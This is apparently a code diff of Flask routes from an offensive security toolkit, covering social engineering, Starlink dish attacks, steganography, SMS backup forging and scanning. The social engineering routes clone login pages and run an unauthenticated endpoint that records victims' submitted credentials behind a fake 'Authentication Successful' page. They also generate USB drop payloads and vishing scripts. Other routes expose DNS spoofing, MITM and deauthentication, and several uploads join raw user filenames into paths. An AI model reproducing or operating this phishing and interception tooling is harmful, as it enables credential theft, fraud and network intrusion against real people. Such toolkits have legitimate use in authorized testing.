@sms_forge_bp.route('/export/<fmt>')
@login_required
def export_file(fmt):
forge = _get_forge()
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
if fmt == 'csv':
out_path = os.path.join(upload_dir, 'sms_forge_export.csv')
result = forge.export_csv(out_path)
mime = 'text/csv'
dl_name = 'sms_backup.csv'
else:
out_path = os.path.join(upload_dir, 'sms_forge_export.xml')
result = forge.export_xml(out_path)
mime = 'application/xml'
dl_name = 'sms_backup.xml'
if not result.get('ok'):
return jsonify(result)
return send_file(out_path, mimetype=mime, as_attachment=True, download_name=dl_name)
@sms_forge_bp.route('/merge', methods=['POST'])
@login_required
def merge():
forge = _get_forge()
files = request.files.getlist('files')
if not files:
return jsonify({'ok': False, 'error': 'No files uploaded'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
saved = []
for f in files:
if f.filename:
path = os.path.join(upload_dir, f'merge_{f.filename}')
f.save(path)
saved.append(path)
result = forge.merge_backups(saved)
for p in saved:
try:
os.unlink(p)
except OSError:
pass
return jsonify(result)
@sms_forge_bp.route('/templates')
@login_required
def templates():
return jsonify(_get_forge().get_templates())
@sms_forge_bp.route('/stats')
@login_required
def stats():
return jsonify(_get_forge().get_backup_stats())
@sms_forge_bp.route('/validate', methods=['POST'])
@login_required
def validate():
forge = _get_forge()
if 'file' not in request.files:
return jsonify({'ok': False, 'error': 'No file uploaded'})
f = request.files['file']
if not f.filename:
return jsonify({'ok': False, 'error': 'Empty filename'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
save_path = os.path.join(upload_dir, f'validate_{f.filename}')
f.save(save_path)
result = forge.validate_backup(save_path)
try:
os.unlink(save_path)
except OSError:
pass
return jsonify(result)
@sms_forge_bp.route('/bulk-import', methods=['POST'])
@login_required
def bulk_import():
forge = _get_forge()
if 'file' not in request.files:
return jsonify({'ok': False, 'error': 'No file uploaded'})
f = request.files['file']
if not f.filename:
return jsonify({'ok': False, 'error': 'Empty filename'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
save_path = os.path.join(upload_dir, f.filename)
f.save(save_path)
result = forge.bulk_add(save_path)
try:
os.unlink(save_path)
except OSError:
pass
return jsonify(result)
@sms_forge_bp.route('/templates/save', methods=['POST'])
@login_required
def save_template():
data = request.get_json(silent=True) or {}
forge = _get_forge()
key = data.get('key', '').strip()
template_data = data.get('template', {})
if not key:
return jsonify({'ok': False, 'error': 'Template key is required'})
result = forge.save_custom_template(key, template_data)
return jsonify(result)
@sms_forge_bp.route('/templates/<key>', methods=['DELETE'])
@login_required
def delete_template(key):
forge = _get_forge()
result = forge.delete_custom_template(key)
return jsonify(result)
@sms_forge_bp.route('/clear', methods=['POST'])
@login_required
def clear():
_get_forge().clear_messages()
return jsonify({'ok': True})

215
web/routes/social_eng.py Normal file
View File

@@ -0,0 +1,215 @@
"""Social Engineering routes."""
from flask import Blueprint, request, jsonify, render_template, Response, redirect
from web.auth import login_required
social_eng_bp = Blueprint('social_eng', __name__, url_prefix='/social-eng')
def _get_toolkit():
from modules.social_eng import get_social_eng
return get_social_eng()
# ── Page ─────────────────────────────────────────────────────────────────────
@social_eng_bp.route('/')
@login_required
def index():
return render_template('social_eng.html')
# ── Page Cloning ─────────────────────────────────────────────────────────────
@social_eng_bp.route('/clone', methods=['POST'])
@login_required
def clone_page():
"""Clone a login page."""
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
return jsonify(_get_toolkit().clone_page(url))
@social_eng_bp.route('/pages', methods=['GET'])
@login_required
def list_pages():
"""List all cloned pages."""
return jsonify({'ok': True, 'pages': _get_toolkit().list_cloned_pages()})
@social_eng_bp.route('/pages/<page_id>', methods=['GET'])
@login_required
def get_page(page_id):
"""Get cloned page HTML content."""
html = _get_toolkit().serve_cloned_page(page_id)
if html is None:
return jsonify({'ok': False, 'error': 'Page not found'})
return jsonify({'ok': True, 'html': html, 'page_id': page_id})
@social_eng_bp.route('/pages/<page_id>', methods=['DELETE'])
@login_required
def delete_page(page_id):
"""Delete a cloned page."""
if _get_toolkit().delete_cloned_page(page_id):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Page not found'})
# ── Credential Capture (NO AUTH — accessed by phish targets) ─────────────────
@social_eng_bp.route('/capture/<page_id>', methods=['POST'])
def capture_creds(page_id):
"""Capture submitted credentials from a cloned page."""
form_data = dict(request.form)
entry = _get_toolkit().capture_creds(
page_id,
form_data,
ip=request.remote_addr,
user_agent=request.headers.get('User-Agent', ''),
)
# Show a generic success page to the victim
return """<!DOCTYPE html><html><head><title>Success</title>
<style>body{font-family:sans-serif;display:flex;justify-content:center;align-items:center;min-height:100vh;background:#f5f5f5}
.card{background:#fff;padding:40px;border-radius:8px;text-align:center;box-shadow:0 2px 8px rgba(0,0,0,0.1)}
</style></head><body><div class="card"><h2>Authentication Successful</h2>
<p>You will be redirected shortly...</p></div></body></html>"""
# ── Captures ─────────────────────────────────────────────────────────────────
@social_eng_bp.route('/captures', methods=['GET'])
@login_required
def get_captures():
"""Get captured credentials, optionally filtered by page_id."""
page_id = request.args.get('page_id', '').strip()
captures = _get_toolkit().get_captures(page_id or None)
return jsonify({'ok': True, 'captures': captures})
@social_eng_bp.route('/captures', methods=['DELETE'])
@login_required
def clear_captures():
"""Clear captured credentials."""
page_id = request.args.get('page_id', '').strip()
count = _get_toolkit().clear_captures(page_id or None)
return jsonify({'ok': True, 'cleared': count})
# ── QR Code ──────────────────────────────────────────────────────────────────
@social_eng_bp.route('/qr', methods=['POST'])
@login_required
def generate_qr():
"""Generate a QR code image."""
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
label = data.get('label', '').strip() or None
size = int(data.get('size', 300))
size = max(100, min(800, size))
return jsonify(_get_toolkit().generate_qr(url, label=label, size=size))
# ── USB Payloads ─────────────────────────────────────────────────────────────
@social_eng_bp.route('/usb', methods=['POST'])
@login_required
def generate_usb():
"""Generate a USB drop payload."""
data = request.get_json(silent=True) or {}
payload_type = data.get('type', '').strip()
if not payload_type:
return jsonify({'ok': False, 'error': 'Payload type required'})
params = data.get('params', {})
return jsonify(_get_toolkit().generate_usb_payload(payload_type, params))
# ── Pretexts ─────────────────────────────────────────────────────────────────
@social_eng_bp.route('/pretexts', methods=['GET'])
@login_required
def get_pretexts():
"""List pretext templates, optionally filtered by category."""
category = request.args.get('category', '').strip() or None
pretexts = _get_toolkit().get_pretexts(category)
return jsonify({'ok': True, 'pretexts': pretexts})
# ── Campaigns ────────────────────────────────────────────────────────────────
@social_eng_bp.route('/campaign', methods=['POST'])
@login_required
def create_campaign():
"""Create a new campaign."""
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
if not name:
return jsonify({'ok': False, 'error': 'Campaign name required'})
vector = data.get('vector', 'email').strip()
targets = data.get('targets', [])
if isinstance(targets, str):
targets = [t.strip() for t in targets.split(',') if t.strip()]
pretext = data.get('pretext', '').strip() or None
campaign = _get_toolkit().create_campaign(name, vector, targets, pretext)
return jsonify({'ok': True, 'campaign': campaign})
@social_eng_bp.route('/campaigns', methods=['GET'])
@login_required
def list_campaigns():
"""List all campaigns."""
return jsonify({'ok': True, 'campaigns': _get_toolkit().list_campaigns()})
@social_eng_bp.route('/campaign/<campaign_id>', methods=['GET'])
@login_required
def get_campaign(campaign_id):
"""Get campaign details."""
campaign = _get_toolkit().get_campaign(campaign_id)
if not campaign:
return jsonify({'ok': False, 'error': 'Campaign not found'})
return jsonify({'ok': True, 'campaign': campaign})
@social_eng_bp.route('/campaign/<campaign_id>', methods=['DELETE'])
@login_required
def delete_campaign(campaign_id):
"""Delete a campaign."""
if _get_toolkit().delete_campaign(campaign_id):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Campaign not found'})
# ── Vishing ──────────────────────────────────────────────────────────────────
@social_eng_bp.route('/vishing', methods=['GET'])
@login_required
def list_vishing():
"""List available vishing scenarios."""
return jsonify({'ok': True, 'scenarios': _get_toolkit().list_vishing_scenarios()})
@social_eng_bp.route('/vishing/<scenario>', methods=['GET'])
@login_required
def get_vishing_script(scenario):
"""Get a vishing script for a scenario."""
target_info = {}
for key in ('target_name', 'caller_name', 'phone', 'bank_name',
'vendor_name', 'exec_name', 'exec_title', 'amount'):
val = request.args.get(key, '').strip()
if val:
target_info[key] = val
return jsonify(_get_toolkit().generate_vishing_script(scenario, target_info))
# ── Stats ────────────────────────────────────────────────────────────────────
@social_eng_bp.route('/stats', methods=['GET'])
@login_required
def get_stats():
"""Get overall statistics."""
return jsonify({'ok': True, 'stats': _get_toolkit().get_stats()})

239
web/routes/starlink_hack.py Normal file
View File

@@ -0,0 +1,239 @@
"""Starlink Terminal Security Analysis routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
starlink_hack_bp = Blueprint('starlink_hack', __name__, url_prefix='/starlink-hack')
_mgr = None
def _get_mgr():
global _mgr
if _mgr is None:
from modules.starlink_hack import get_starlink_hack
_mgr = get_starlink_hack()
return _mgr
@starlink_hack_bp.route('/')
@login_required
def index():
return render_template('starlink_hack.html')
@starlink_hack_bp.route('/status')
@login_required
def status():
return jsonify(_get_mgr().get_status())
@starlink_hack_bp.route('/discover', methods=['POST'])
@login_required
def discover():
data = request.get_json(silent=True) or {}
ip = data.get('ip')
return jsonify(_get_mgr().discover_dish(ip=ip))
@starlink_hack_bp.route('/dish-status')
@login_required
def dish_status():
return jsonify(_get_mgr().get_dish_status())
@starlink_hack_bp.route('/dish-info')
@login_required
def dish_info():
return jsonify(_get_mgr().get_dish_info())
@starlink_hack_bp.route('/network')
@login_required
def network():
return jsonify(_get_mgr().get_network_info())
@starlink_hack_bp.route('/scan-ports', methods=['POST'])
@login_required
def scan_ports():
data = request.get_json(silent=True) or {}
target = data.get('target')
return jsonify(_get_mgr().scan_dish_ports(target=target))
@starlink_hack_bp.route('/grpc/enumerate', methods=['POST'])
@login_required
def grpc_enumerate():
data = request.get_json(silent=True) or {}
host = data.get('host')
port = int(data['port']) if data.get('port') else None
return jsonify(_get_mgr().grpc_enumerate(host=host, port=port))
@starlink_hack_bp.route('/grpc/call', methods=['POST'])
@login_required
def grpc_call():
data = request.get_json(silent=True) or {}
method = data.get('method', '')
params = data.get('params')
if not method:
return jsonify({'ok': False, 'error': 'method is required'})
return jsonify(_get_mgr().grpc_call(method, params))
@starlink_hack_bp.route('/grpc/stow', methods=['POST'])
@login_required
def grpc_stow():
return jsonify(_get_mgr().stow_dish())
@starlink_hack_bp.route('/grpc/unstow', methods=['POST'])
@login_required
def grpc_unstow():
return jsonify(_get_mgr().unstow_dish())
@starlink_hack_bp.route('/grpc/reboot', methods=['POST'])
@login_required
def grpc_reboot():
return jsonify(_get_mgr().reboot_dish())
@starlink_hack_bp.route('/grpc/factory-reset', methods=['POST'])
@login_required
def grpc_factory_reset():
data = request.get_json(silent=True) or {}
confirm = data.get('confirm', False)
return jsonify(_get_mgr().factory_reset(confirm=confirm))
@starlink_hack_bp.route('/firmware/check', methods=['POST'])
@login_required
def firmware_check():
return jsonify(_get_mgr().check_firmware_version())
@starlink_hack_bp.route('/firmware/analyze', methods=['POST'])
@login_required
def firmware_analyze():
import os
from flask import current_app
if 'file' in request.files:
f = request.files['file']
if f.filename:
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
save_path = os.path.join(upload_dir, f.filename)
f.save(save_path)
return jsonify(_get_mgr().analyze_firmware(save_path))
data = request.get_json(silent=True) or {}
fw_path = data.get('path', '')
if not fw_path:
return jsonify({'ok': False, 'error': 'No firmware file provided'})
return jsonify(_get_mgr().analyze_firmware(fw_path))
@starlink_hack_bp.route('/firmware/debug', methods=['POST'])
@login_required
def firmware_debug():
return jsonify(_get_mgr().find_debug_interfaces())
@starlink_hack_bp.route('/firmware/dump', methods=['POST'])
@login_required
def firmware_dump():
data = request.get_json(silent=True) or {}
output_path = data.get('output_path')
return jsonify(_get_mgr().dump_firmware(output_path=output_path))
@starlink_hack_bp.route('/network/intercept', methods=['POST'])
@login_required
def network_intercept():
data = request.get_json(silent=True) or {}
target_ip = data.get('target_ip')
interface = data.get('interface')
return jsonify(_get_mgr().intercept_traffic(target_ip=target_ip, interface=interface))
@starlink_hack_bp.route('/network/intercept/stop', methods=['POST'])
@login_required
def network_intercept_stop():
return jsonify(_get_mgr().stop_intercept())
@starlink_hack_bp.route('/network/dns-spoof', methods=['POST'])
@login_required
def network_dns_spoof():
data = request.get_json(silent=True) or {}
domain = data.get('domain', '')
ip = data.get('ip', '')
interface = data.get('interface')
if not domain or not ip:
return jsonify({'ok': False, 'error': 'domain and ip are required'})
return jsonify(_get_mgr().dns_spoof(domain, ip, interface=interface))
@starlink_hack_bp.route('/network/dns-spoof/stop', methods=['POST'])
@login_required
def network_dns_spoof_stop():
return jsonify(_get_mgr().stop_dns_spoof())
@starlink_hack_bp.route('/network/mitm', methods=['POST'])
@login_required
def network_mitm():
data = request.get_json(silent=True) or {}
interface = data.get('interface')
return jsonify(_get_mgr().mitm_clients(interface=interface))
@starlink_hack_bp.route('/network/deauth', methods=['POST'])
@login_required
def network_deauth():
data = request.get_json(silent=True) or {}
target_mac = data.get('target_mac')
interface = data.get('interface')
return jsonify(_get_mgr().deauth_clients(target_mac=target_mac, interface=interface))
@starlink_hack_bp.route('/rf/downlink', methods=['POST'])
@login_required
def rf_downlink():
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 30))
device = data.get('device', 'hackrf')
return jsonify(_get_mgr().analyze_downlink(duration=duration, device=device))
@starlink_hack_bp.route('/rf/uplink', methods=['POST'])
@login_required
def rf_uplink():
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 30))
return jsonify(_get_mgr().analyze_uplink(duration=duration))
@starlink_hack_bp.route('/rf/jamming', methods=['POST'])
@login_required
def rf_jamming():
return jsonify(_get_mgr().detect_jamming())
@starlink_hack_bp.route('/cves')
@login_required
def cves():
return jsonify(_get_mgr().check_known_cves())
@starlink_hack_bp.route('/exploits')
@login_required
def exploits():
return jsonify(_get_mgr().get_exploit_database())
@starlink_hack_bp.route('/export', methods=['POST'])
@login_required
def export():
data = request.get_json(silent=True) or {}
path = data.get('path')
return jsonify(_get_mgr().export_results(path=path))

View File

@@ -0,0 +1,96 @@
"""Steganography routes."""
import os
import base64
from flask import Blueprint, request, jsonify, render_template, current_app
from web.auth import login_required
steganography_bp = Blueprint('steganography', __name__, url_prefix='/stego')
def _get_mgr():
from modules.steganography import get_stego_manager
return get_stego_manager()
@steganography_bp.route('/')
@login_required
def index():
return render_template('steganography.html')
@steganography_bp.route('/capabilities')
@login_required
def capabilities():
return jsonify(_get_mgr().get_capabilities())
@steganography_bp.route('/capacity', methods=['POST'])
@login_required
def capacity():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().capacity(data.get('file', '')))
@steganography_bp.route('/hide', methods=['POST'])
@login_required
def hide():
mgr = _get_mgr()
# Support file upload or path-based
if request.content_type and 'multipart' in request.content_type:
carrier = request.files.get('carrier')
if not carrier:
return jsonify({'ok': False, 'error': 'No carrier file'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
carrier_path = os.path.join(upload_dir, carrier.filename)
carrier.save(carrier_path)
message = request.form.get('message', '')
password = request.form.get('password') or None
output_path = os.path.join(upload_dir, f'stego_{carrier.filename}')
result = mgr.hide(carrier_path, message.encode(), output_path, password)
else:
data = request.get_json(silent=True) or {}
carrier_path = data.get('carrier', '')
message = data.get('message', '')
password = data.get('password') or None
output = data.get('output')
result = mgr.hide(carrier_path, message.encode(), output, password)
return jsonify(result)
@steganography_bp.route('/extract', methods=['POST'])
@login_required
def extract():
data = request.get_json(silent=True) or {}
result = _get_mgr().extract(data.get('file', ''), data.get('password'))
if result.get('ok') and 'data' in result:
try:
result['text'] = result['data'].decode('utf-8')
except (UnicodeDecodeError, AttributeError):
result['base64'] = base64.b64encode(result['data']).decode()
del result['data'] # Don't send raw bytes in JSON
return jsonify(result)
@steganography_bp.route('/detect', methods=['POST'])
@login_required
def detect():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().detect(data.get('file', '')))
@steganography_bp.route('/whitespace/hide', methods=['POST'])
@login_required
def whitespace_hide():
data = request.get_json(silent=True) or {}
from modules.steganography import DocumentStego
result = DocumentStego.hide_whitespace(
data.get('text', ''), data.get('message', '').encode(),
data.get('password')
)
return jsonify(result)
@steganography_bp.route('/whitespace/extract', methods=['POST'])
@login_required
def whitespace_extract():
data = request.get_json(silent=True) or {}
from modules.steganography import DocumentStego
result = DocumentStego.extract_whitespace(data.get('text', ''), data.get('password'))
if result.get('ok') and 'data' in result:
try:
result['text'] = result['data'].decode('utf-8')
except (UnicodeDecodeError, AttributeError):
result['base64'] = base64.b64encode(result['data']).decode()
del result['data']
return jsonify(result)

167
web/routes/targets.py Normal file
View File

@@ -0,0 +1,167 @@
"""Targets — scope and target management for pentest engagements."""
import json
import uuid
from datetime import datetime, timezone
from pathlib import Path
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
targets_bp = Blueprint('targets', __name__, url_prefix='/targets')
# ── Storage helpers ────────────────────────────────────────────────────────────
def _targets_file() -> Path:
from core.paths import get_data_dir
d = get_data_dir()
d.mkdir(parents=True, exist_ok=True)
return d / 'targets.json'
def _load() -> list:
f = _targets_file()
if not f.exists():
return []
try:
return json.loads(f.read_text(encoding='utf-8'))
except Exception:
return []
def _save(targets: list) -> None:
_targets_file().write_text(json.dumps(targets, indent=2), encoding='utf-8')
def _now() -> str:
return datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
def _new_target(data: dict) -> dict:
host = data.get('host', '').strip()
now = _now()
return {
'id': str(uuid.uuid4()),
'name': data.get('name', '').strip() or host,
'host': host,
'type': data.get('type', 'ip'),
'status': data.get('status', 'active'),
'os': data.get('os', 'Unknown'),
'tags': [t.strip() for t in data.get('tags', '').split(',') if t.strip()],
'ports': data.get('ports', '').strip(),
'notes': data.get('notes', '').strip(),
'created_at': now,
'updated_at': now,
}
# ── Routes ─────────────────────────────────────────────────────────────────────
@targets_bp.route('/')
@login_required
def index():
return render_template('targets.html', targets=_load())
@targets_bp.route('/add', methods=['POST'])
@login_required
def add():
data = request.get_json(silent=True) or {}
if not data.get('host', '').strip():
return jsonify({'error': 'Host/IP is required'})
targets = _load()
t = _new_target(data)
targets.append(t)
_save(targets)
return jsonify({'ok': True, 'target': t})
@targets_bp.route('/update/<tid>', methods=['POST'])
@login_required
def update(tid):
data = request.get_json(silent=True) or {}
targets = _load()
for t in targets:
if t['id'] == tid:
for field in ('name', 'host', 'type', 'status', 'os', 'ports', 'notes'):
if field in data:
t[field] = str(data[field]).strip()
if 'tags' in data:
t['tags'] = [x.strip() for x in str(data['tags']).split(',') if x.strip()]
t['updated_at'] = _now()
_save(targets)
return jsonify({'ok': True, 'target': t})
return jsonify({'error': 'Target not found'})
@targets_bp.route('/delete/<tid>', methods=['POST'])
@login_required
def delete(tid):
targets = _load()
before = len(targets)
targets = [t for t in targets if t['id'] != tid]
if len(targets) < before:
_save(targets)
return jsonify({'ok': True})
return jsonify({'error': 'Not found'})
@targets_bp.route('/status/<tid>', methods=['POST'])
@login_required
def set_status(tid):
data = request.get_json(silent=True) or {}
status = data.get('status', '')
valid = {'active', 'pending', 'completed', 'out-of-scope'}
if status not in valid:
return jsonify({'error': f'Invalid status — use: {", ".join(sorted(valid))}'})
targets = _load()
for t in targets:
if t['id'] == tid:
t['status'] = status
t['updated_at'] = _now()
_save(targets)
return jsonify({'ok': True})
return jsonify({'error': 'Not found'})
@targets_bp.route('/export')
@login_required
def export():
targets = _load()
return Response(
json.dumps(targets, indent=2),
mimetype='application/json',
headers={'Content-Disposition': 'attachment; filename="autarch_targets.json"'},
)
@targets_bp.route('/import', methods=['POST'])
@login_required
def import_targets():
data = request.get_json(silent=True) or {}
incoming = data.get('targets', [])
if not isinstance(incoming, list):
return jsonify({'error': 'Expected JSON array'})
existing = _load()
existing_ids = {t['id'] for t in existing}
now = _now()
added = 0
for item in incoming:
if not isinstance(item, dict) or not item.get('host', '').strip():
continue
item.setdefault('id', str(uuid.uuid4()))
if item['id'] in existing_ids:
continue
item.setdefault('name', item['host'])
item.setdefault('type', 'ip')
item.setdefault('status', 'active')
item.setdefault('os', 'Unknown')
item.setdefault('tags', [])
item.setdefault('ports', '')
item.setdefault('notes', '')
item.setdefault('created_at', now)
item.setdefault('updated_at', now)
existing.append(item)
added += 1
_save(existing)
return jsonify({'ok': True, 'added': added, 'total': len(existing)})

125
web/routes/threat_intel.py Normal file
View File

@@ -0,0 +1,125 @@
"""Threat Intelligence routes."""
from flask import Blueprint, request, jsonify, render_template, Response
from web.auth import login_required
threat_intel_bp = Blueprint('threat_intel', __name__, url_prefix='/threat-intel')
def _get_engine():
from modules.threat_intel import get_threat_intel
return get_threat_intel()
@threat_intel_bp.route('/')
@login_required
def index():
return render_template('threat_intel.html')
@threat_intel_bp.route('/iocs', methods=['GET', 'POST', 'DELETE'])
@login_required
def iocs():
engine = _get_engine()
if request.method == 'POST':
data = request.get_json(silent=True) or {}
return jsonify(engine.add_ioc(
value=data.get('value', ''),
ioc_type=data.get('ioc_type'),
source=data.get('source', 'manual'),
tags=data.get('tags', []),
severity=data.get('severity', 'unknown'),
description=data.get('description', ''),
reference=data.get('reference', '')
))
elif request.method == 'DELETE':
data = request.get_json(silent=True) or {}
return jsonify(engine.remove_ioc(data.get('id', '')))
else:
return jsonify(engine.get_iocs(
ioc_type=request.args.get('type'),
source=request.args.get('source'),
severity=request.args.get('severity'),
search=request.args.get('search')
))
@threat_intel_bp.route('/iocs/import', methods=['POST'])
@login_required
def import_iocs():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().bulk_import(
data.get('text', ''), source=data.get('source', 'import'),
ioc_type=data.get('ioc_type')
))
@threat_intel_bp.route('/iocs/export')
@login_required
def export_iocs():
fmt = request.args.get('format', 'json')
ioc_type = request.args.get('type')
content = _get_engine().export_iocs(fmt=fmt, ioc_type=ioc_type)
ct = {'csv': 'text/csv', 'stix': 'application/json', 'json': 'application/json'}.get(fmt, 'text/plain')
return Response(content, mimetype=ct, headers={'Content-Disposition': f'attachment; filename=iocs.{fmt}'})
@threat_intel_bp.route('/iocs/detect')
@login_required
def detect_type():
value = request.args.get('value', '')
return jsonify({'type': _get_engine().detect_ioc_type(value)})
@threat_intel_bp.route('/stats')
@login_required
def stats():
return jsonify(_get_engine().get_stats())
@threat_intel_bp.route('/feeds', methods=['GET', 'POST', 'DELETE'])
@login_required
def feeds():
engine = _get_engine()
if request.method == 'POST':
data = request.get_json(silent=True) or {}
return jsonify(engine.add_feed(
name=data.get('name', ''), feed_type=data.get('feed_type', ''),
url=data.get('url', ''), api_key=data.get('api_key', ''),
interval_hours=data.get('interval_hours', 24)
))
elif request.method == 'DELETE':
data = request.get_json(silent=True) or {}
return jsonify(engine.remove_feed(data.get('id', '')))
return jsonify(engine.get_feeds())
@threat_intel_bp.route('/feeds/<feed_id>/fetch', methods=['POST'])
@login_required
def fetch_feed(feed_id):
return jsonify(_get_engine().fetch_feed(feed_id))
@threat_intel_bp.route('/lookup/virustotal', methods=['POST'])
@login_required
def lookup_vt():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().lookup_virustotal(data.get('value', ''), data.get('api_key', '')))
@threat_intel_bp.route('/lookup/abuseipdb', methods=['POST'])
@login_required
def lookup_abuse():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().lookup_abuseipdb(data.get('ip', ''), data.get('api_key', '')))
@threat_intel_bp.route('/correlate/network', methods=['POST'])
@login_required
def correlate_network():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().correlate_network(data.get('connections', [])))
@threat_intel_bp.route('/blocklist')
@login_required
def blocklist():
return Response(
_get_engine().generate_blocklist(
fmt=request.args.get('format', 'plain'),
ioc_type=request.args.get('type', 'ip'),
min_severity=request.args.get('min_severity', 'low')
),
mimetype='text/plain'
)
@threat_intel_bp.route('/alerts')
@login_required
def alerts():
return jsonify(_get_engine().get_alerts(int(request.args.get('limit', 100))))

130
web/routes/upnp.py Normal file
View File

@@ -0,0 +1,130 @@
"""UPnP management route"""
import json
from flask import Blueprint, render_template, request, redirect, url_for, flash, current_app
from web.auth import login_required
upnp_bp = Blueprint('upnp', __name__, url_prefix='/upnp')
@upnp_bp.route('/')
@login_required
def index():
from core.upnp import get_upnp_manager
config = current_app.autarch_config
upnp = get_upnp_manager(config)
available = upnp.is_available()
mappings = upnp.load_mappings_from_config()
cron = upnp.get_cron_status()
current_mappings = ''
external_ip = ''
if available:
success, output = upnp.list_mappings()
current_mappings = output if success else f'Error: {output}'
success, ip = upnp.get_external_ip()
external_ip = ip if success else 'N/A'
return render_template('upnp.html',
available=available,
mappings=mappings,
cron=cron,
current_mappings=current_mappings,
external_ip=external_ip,
internal_ip=upnp._get_internal_ip(),
)
@upnp_bp.route('/refresh', methods=['POST'])
@login_required
def refresh():
from core.upnp import get_upnp_manager
config = current_app.autarch_config
upnp = get_upnp_manager(config)
results = upnp.refresh_all()
ok = sum(1 for r in results if r['success'])
fail = sum(1 for r in results if not r['success'])
if fail == 0:
flash(f'Refreshed {ok} mapping(s) successfully.', 'success')
else:
flash(f'{ok} OK, {fail} failed.', 'warning')
return redirect(url_for('upnp.index'))
@upnp_bp.route('/add', methods=['POST'])
@login_required
def add():
from core.upnp import get_upnp_manager
config = current_app.autarch_config
upnp = get_upnp_manager(config)
port = request.form.get('port', '')
proto = request.form.get('protocol', 'TCP').upper()
try:
port = int(port)
except ValueError:
flash('Invalid port number.', 'error')
return redirect(url_for('upnp.index'))
internal_ip = upnp._get_internal_ip()
success, msg = upnp.add_mapping(internal_ip, port, port, proto)
if success:
# Save to config
mappings = upnp.load_mappings_from_config()
if not any(m['port'] == port and m['protocol'] == proto for m in mappings):
mappings.append({'port': port, 'protocol': proto})
upnp.save_mappings_to_config(mappings)
flash(f'Added {port}/{proto}', 'success')
else:
flash(f'Failed: {msg}', 'error')
return redirect(url_for('upnp.index'))
@upnp_bp.route('/remove', methods=['POST'])
@login_required
def remove():
from core.upnp import get_upnp_manager
config = current_app.autarch_config
upnp = get_upnp_manager(config)
port = int(request.form.get('port', 0))
proto = request.form.get('protocol', 'TCP')
success, msg = upnp.remove_mapping(port, proto)
if success:
mappings = upnp.load_mappings_from_config()
mappings = [m for m in mappings if not (m['port'] == port and m['protocol'] == proto)]
upnp.save_mappings_to_config(mappings)
flash(f'Removed {port}/{proto}', 'success')
else:
flash(f'Failed: {msg}', 'error')
return redirect(url_for('upnp.index'))
@upnp_bp.route('/cron', methods=['POST'])
@login_required
def cron():
from core.upnp import get_upnp_manager
config = current_app.autarch_config
upnp = get_upnp_manager(config)
action = request.form.get('action', '')
if action == 'install':
hours = int(request.form.get('hours', 12))
success, msg = upnp.install_cron(hours)
elif action == 'uninstall':
success, msg = upnp.uninstall_cron()
else:
flash('Invalid action.', 'error')
return redirect(url_for('upnp.index'))
flash(msg, 'success' if success else 'error')
return redirect(url_for('upnp.index'))

132
web/routes/vuln_scanner.py Normal file
View File

@@ -0,0 +1,132 @@
"""Vulnerability Scanner routes."""
from flask import Blueprint, request, jsonify, render_template, Response
from web.auth import login_required
vuln_scanner_bp = Blueprint('vuln_scanner', __name__, url_prefix='/vuln-scanner')
def _get_scanner():
from modules.vuln_scanner import get_vuln_scanner
return get_vuln_scanner()
@vuln_scanner_bp.route('/')
@login_required
def index():
return render_template('vuln_scanner.html')
@vuln_scanner_bp.route('/scan', methods=['POST'])
@login_required
def start_scan():
"""Start a vulnerability scan."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
if not target:
return jsonify({'ok': False, 'error': 'Target required'}), 400
profile = data.get('profile', 'standard')
ports = data.get('ports', '').strip() or None
templates = data.get('templates') or None
scanner = _get_scanner()
job_id = scanner.scan(target, profile=profile, ports=ports, templates=templates)
return jsonify({'ok': True, 'job_id': job_id})
@vuln_scanner_bp.route('/scan/<job_id>')
@login_required
def get_scan(job_id):
"""Get scan status and results."""
scan = _get_scanner().get_scan(job_id)
if not scan:
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
return jsonify({'ok': True, **scan})
@vuln_scanner_bp.route('/scans')
@login_required
def list_scans():
"""List all scans."""
scans = _get_scanner().list_scans()
return jsonify({'ok': True, 'scans': scans})
@vuln_scanner_bp.route('/scan/<job_id>', methods=['DELETE'])
@login_required
def delete_scan(job_id):
"""Delete a scan."""
deleted = _get_scanner().delete_scan(job_id)
if not deleted:
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
return jsonify({'ok': True})
@vuln_scanner_bp.route('/scan/<job_id>/export')
@login_required
def export_scan(job_id):
"""Export scan results."""
fmt = request.args.get('format', 'json')
result = _get_scanner().export_scan(job_id, fmt=fmt)
if not result:
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
return Response(
result['content'],
mimetype=result['mime'],
headers={'Content-Disposition': f'attachment; filename="{result["filename"]}"'}
)
@vuln_scanner_bp.route('/headers', methods=['POST'])
@login_required
def check_headers():
"""Check security headers for a URL."""
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'}), 400
result = _get_scanner().check_headers(url)
return jsonify({'ok': True, **result})
@vuln_scanner_bp.route('/ssl', methods=['POST'])
@login_required
def check_ssl():
"""Check SSL/TLS configuration."""
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
if not host:
return jsonify({'ok': False, 'error': 'Host required'}), 400
port = int(data.get('port', 443))
result = _get_scanner().check_ssl(host, port)
